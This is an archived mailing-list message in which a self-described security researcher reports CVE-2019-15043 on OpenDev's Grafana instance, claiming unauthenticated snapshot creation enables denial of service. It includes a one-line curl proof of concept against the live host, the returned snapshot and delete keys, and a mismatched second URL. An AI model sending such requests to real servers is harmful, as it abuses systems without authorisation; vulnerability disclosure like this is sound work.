Critical Vulnerability Report

Divya Singh dgirlwhohacks at gmail.com
Sun Feb 14 17:47:08 UTC 2021


HEY SECURITY TEAM,

I'm Security Researcher

I have found a critical vulnerability at one of your domain that is
cve-2019-15043
which can led to DDOS attack and can make system go down by grafana snapshot
instance

Vuln url: https://grafana.opendev.org/api/snapshots
<https://grafana.quiknode.io/api/snapshots>

POC:

root at kali:/home/kali# curl -s XPOST
https://grafana.opendev.org/api/snapshots -H "Accept: application/json" -H
"Content-Type: application/json" -d '{"dashboard": {}}' | json_pp

{
   "deleteKey" : "6mYFALwQmmpImHeKS30XtFw8ogmoHaSm",
   "deleteUrl" : "
http://localhost:3000/api/snapshots-delete/6mYFALwQmmpImHeKS30XtFw8ogmoHaSm
",
   "key" : "91H6lcVrwiivMuW1H2iAKcUsZwYU2xfO",
   "url" : "
http://localhost:3000/dashboard/snapshot/91H6lcVrwiivMuW1H2iAKcUsZwYU2xfO"
}

for more reference - https://aaron-hoffmann.com/blog/cve-2019-15043/

Fix it to latest grafana instance

Best Regards,

Divya Singh - @Dgirlwhohacks
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